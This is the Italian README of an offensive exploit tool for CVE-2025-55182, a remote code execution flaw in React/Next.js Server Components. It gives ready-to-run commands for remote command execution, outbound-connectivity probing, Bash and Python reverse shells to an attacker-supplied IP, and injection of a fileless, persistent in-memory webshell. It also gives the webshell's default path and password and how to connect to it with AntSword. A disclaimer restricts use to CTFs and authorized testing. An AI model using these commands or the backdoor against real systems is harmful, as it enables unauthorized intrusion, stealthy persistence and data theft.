
Strumento di sfruttamento automatizzato per CVE-2025-55182 (RCE in React/Next.js) con esecuzione di comandi, rilevamento delle connessioni in uscita, reverse shell interattiva e iniezione persistente di webshell in memoria per test di penetrazione autorizzati e sfide CTF.
Autore: lamaper / BITs2Sys
Versione: 1.0.1
Licenza: MIT
Questo strumento è uno strumento di penetration testing automatizzato specificamente progettato per CVE-2025-55182 (inquinamento della catena prototipale di React Server Components / Next.js che porta a RCE). Lo strumento è progettato per competizioni CTF e progetti di servizi di sicurezza autorizzati, integrando funzionalità come verifica della vulnerabilità, rilevamento della connettività in uscita, shell inversa e iniezione di shell in memoria persistenti.
--cmd) : Utilizza il meccanismo di eccezione NEXT_REDIRECT per restituire con precisione i risultati dell'esecuzione dei comandi codificati in Base64.--check-outbound) : Testa automaticamente la capacità del target di accedere a DNS, HTTP e ICMP, aiutando a decidere il percorso di attacco.--shell) : Include due modalità di shell inversa: Bash e Python3. Supporta l'esecuzione asincrona per evitare che le richieste HTTP vadano in timeout.--inject-ms) : Inietta una shell in memoria dirottando il meccanismo di distribuzione degli eventi del http.Server di Node.js, senza lasciare tracce su file, supportando il controllo persistente.--ms-cmd) : Modalità di interazione indipendente dal percorso di attivazione della vulnerabilità. Dopo l'iniezione riuscita, è possibile eseguire comandi direttamente tramite il backdoor.Questo strumento è sviluppato in Python 3 e richiede solo l'installazione della libreria requests.
pip install requests
https://github.com/assetnote/react2shell-scanner è un buon strumento di rilevamento.
Recupera direttamente le informazioni sul target:
python exploit.py --url http://target.com/ --cmd "id"
python exploit.py --url http://target.com/ --cmd "cat /flag"
Prima di tentare una shell inversa, verifica se il target può connettersi a Internet:
python exploit.py --url http://target.com/ --check-outbound
Modalità Bash:
# Macchina attaccante esegue in ascolto: nc -lvnp 4444
python exploit.py --url http://target.com/ --shell bash --ip <il_tuo_IP> --port 4444
Modalità Python:
python exploit.py --url http://target.com/ --shell python --ip <il_tuo_IP> --port 4444
Iniezione della shell in memoria:
python exploit.py --url http://target.com/ --inject-ms
Esecuzione di comandi tramite shell in memoria (da usare dopo l'iniezione riuscita):
python exploit.py --url http://target.com/ --ms-cmd "whoami"
Nota: il percorso di default per la shell in memoria è /?pass, attivata tramite invio POST del parametro pwd.
Connessione tramite AntSword (Chinese AntSword) :
Password di connessione: pwd, metodo di connessione: CMDLINUX
Questo strumento è destinato esclusivamente a ricerche di sicurezza entro i limiti consentiti dalla legge, competizioni CTF e penetration testing autorizzati. È rigorosamente vietato utilizzarlo per attacchi illegali. Tutte le conseguenze derivanti dall'uso di questo strumento sono a carico dell'utente.